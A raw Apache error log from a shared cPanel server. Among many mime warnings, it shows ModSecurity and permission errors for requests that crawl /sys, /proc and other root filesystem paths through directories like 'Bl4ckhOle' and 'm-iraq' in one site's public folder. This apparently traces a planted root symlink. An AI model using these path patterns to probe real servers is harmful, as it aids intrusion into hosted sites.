[Fri Jul 17 09:43:14.336995 2026] [cgi:error] [pid 1993572:tid 1993572] [client 47.128.62.15:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden
[Fri Jul 17 09:43:14.337142 2026] [cgi:error] [pid 1993572:tid 1993572] [client 47.128.62.15:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157.
[Fri Jul 17 09:43:14.538980 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:14.628507 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:14.764678 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:14.765238 2026] [security2:error] [pid 2050572:tid 2050572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/php74/etc/mariadb104/"] [unique_id "almr2muF39UwWB2KWdbSLgAAAA8"]
[Fri Jul 17 09:43:14.765262 2026] [security2:error] [pid 2050572:tid 2050572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/php74/etc/mariadb104/"] [unique_id "almr2muF39UwWB2KWdbSLgAAAA8"]
[Fri Jul 17 09:43:14.842737 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:15.117274 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:15.258482 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.49:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory2/subsystem/devices/memory117/node0/memory71/subsystem/devices/memory47/"] [unique_id "almr2w5GPQ6hs4VrfMpLKgAAAAY"]
[Fri Jul 17 09:43:15.258531 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.49:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory2/subsystem/devices/memory117/node0/memory71/subsystem/devices/memory47/"] [unique_id "almr2w5GPQ6hs4VrfMpLKgAAAAY"]
[Fri Jul 17 09:43:15.663625 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:15.757002 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:16.031364 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:16.305770 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:16.494190 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:16.792400 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:16.874996 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:16.966677 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:17.057224 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/i2c/devices/i2c-0/subsystem/drivers/rt1711h/bind
[Fri Jul 17 09:43:17.186830 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:17.551966 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:17.641180 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:17.732937 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:17.824216 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:17.914655 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:18.006178 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:18.109019 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:18.370555 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:18.464082 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:18.824978 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:18.916155 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:19.219849 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:19.280967 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:19.372798 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:19.469675 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:19.553805 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:19.645450 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/piix4_smbus/unbind
[Fri Jul 17 09:43:19.735882 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:20.103059 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:20.193457 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:20.467843 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:20.557086 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:20.648730 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:20.739433 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:20.829300 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:20.921004 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:20.966550 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:21.013941 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:21.102769 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:21.123299 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:21.470521 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:21.589233 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:21.659336 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:21.740876 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:21.831573 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:21.923424 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:22.074421 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:22.126436 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:22.302852 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:22.652446 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:22.741644 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:22.924783 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:23.014140 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:23.015395 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:43:23.280982 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:23.347872 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:23.384397 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:23.471929 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:23.519154 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:23.654537 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:23.743692 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:23.835308 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:23.927198 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:24.073670 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:24.506645 2026] [core:error] [pid 1993671:tid 1993671] (1)Operation not permitted: [client 185.191.171.16:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/home/cagefs-skeleton/proc/self/net/mcfilter
[Fri Jul 17 09:43:24.507006 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:24.564843 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:24.655738 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:24.837810 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:24.928365 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:25.111060 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:25.295907 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:12/subsystem/drivers/battery/unbind
[Fri Jul 17 09:43:25.577449 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 47.82.55.12:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/uevent
[Fri Jul 17 09:43:25.594007 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:25.690672 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:25.844197 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:25.848869 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:25.926793 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:25.928052 2026] [security2:error] [pid 2050582:tid 2050582] [client 47.82.15.156:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:11/subsystem/tty32/subsystem/tty41/"] [unique_id "almr5XXJZgUJ1jsEHj0rXQAAABc"]
[Fri Jul 17 09:43:25.928075 2026] [security2:error] [pid 2050582:tid 2050582] [client 47.82.15.156:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:11/subsystem/tty32/subsystem/tty41/"] [unique_id "almr5XXJZgUJ1jsEHj0rXQAAABc"]
[Fri Jul 17 09:43:26.124095 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:26.184949 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:26.584783 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:26.644659 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:26.805754 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:26.988635 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:27.121037 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:27.357279 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:27.500437 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:27.544824 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:00/tty/ttyS0/device/driver/unbind
[Fri Jul 17 09:43:27.547309 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:27.592110 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:27.630486 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:27.713348 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:27.717614 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:27.776537 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:27.864012 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:27.868744 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:27.967761 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:28.080895 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:28.094673 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:28.096412 2026] [security2:error] [pid 2019501:tid 2019501] [client 57.141.18.36:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory2/subsystem/devices/memory60/subsystem/devices/memory131/node0/memory20/node0/"] [unique_id "almr57EWOaI5pmYo9fnYJwAAAAA"]
[Fri Jul 17 09:43:28.096443 2026] [security2:error] [pid 2019501:tid 2019501] [client 57.141.18.36:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory2/subsystem/devices/memory60/subsystem/devices/memory131/node0/memory20/node0/"] [unique_id "almr57EWOaI5pmYo9fnYJwAAAAA"]
[Fri Jul 17 09:43:28.154249 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:28.280616 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:28.335625 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:19/subsystem/drivers/battery/unbind
[Fri Jul 17 09:43:28.619011 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:11/subsystem/drivers/thermal/unbind
[Fri Jul 17 09:43:28.689497 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:28.704772 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:28.879442 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:28.971327 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:29.062688 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:29.247326 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:29.247445 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:29.435599 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:29.435744 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:29.978980 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:29.979396 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:29.982315 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:29.999847 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:30.083745 2026] [security2:error] [pid 2030804:tid 2030804] [client 211.222.144.13:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "epid.gov.lk"] [uri "/wp-admin/"] [unique_id "almr6oe39YUk0SgV8AVDVgAAABE"], referer: https://www.epid.gov.lk/wp-login.php
[Fri Jul 17 09:43:30.083815 2026] [security2:error] [pid 2030804:tid 2030804] [client 211.222.144.13:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "epid.gov.lk"] [uri "/wp-admin/"] [unique_id "almr6oe39YUk0SgV8AVDVgAAABE"], referer: https://www.epid.gov.lk/wp-login.php
[Fri Jul 17 09:43:30.108645 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:30.135328 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:30.168218 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:30.258140 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:30.279961 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:30.356379 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:30.441239 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:30.534131 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:30.626478 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:30.719145 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:30.807302 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:30.988494 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:31.079213 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:31.171418 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:31.356245 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:31.424370 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:31.628229 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:31.635477 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:31.720294 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:31.816373 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:31.897328 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:35302] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:31.906895 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:31.946157 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:32.004666 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/clockevents/broadcast/subsystem/drivers_probe
[Fri Jul 17 09:43:32.096975 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:32.187976 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:32.371386 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:32.462365 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:32.487617 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:32.554006 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:32.651068 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:32.837946 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:32.935143 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:33.020608 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:33.112774 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:33.281963 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:35444] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:33.384754 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/alternatives/ld
[Fri Jul 17 09:43:33.425111 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:33.569463 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:33.790620 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:10/subsystem/drivers/thermal/unbind
[Fri Jul 17 09:43:33.816065 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:33.845800 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:33.977536 2026] [security2:error] [pid 2030955:tid 2030955] [client 20.46.252.52:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cloudtourssrilan-global": Permission denied [hostname "www.yashiholdings.com"] [uri "/wp-includes/html-api/"] [unique_id "almr7fwooI4qY7Jg93pefAAAABM"]
[Fri Jul 17 09:43:33.977570 2026] [security2:error] [pid 2030955:tid 2030955] [client 20.46.252.52:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cloudtourssrilan-ip": Permission denied [hostname "www.yashiholdings.com"] [uri "/wp-includes/html-api/"] [unique_id "almr7fwooI4qY7Jg93pefAAAABM"]
[Fri Jul 17 09:43:34.029723 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:34.211131 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:34.395923 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:34.399212 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:34.462173 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:35596] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:34.488556 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:34.615989 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:34.689202 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:35634] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:34.775185 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:34.860230 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:35.044774 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty46/subsystem/ttyS1/port
[Fri Jul 17 09:43:35.158028 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:35.222386 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:35.313294 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
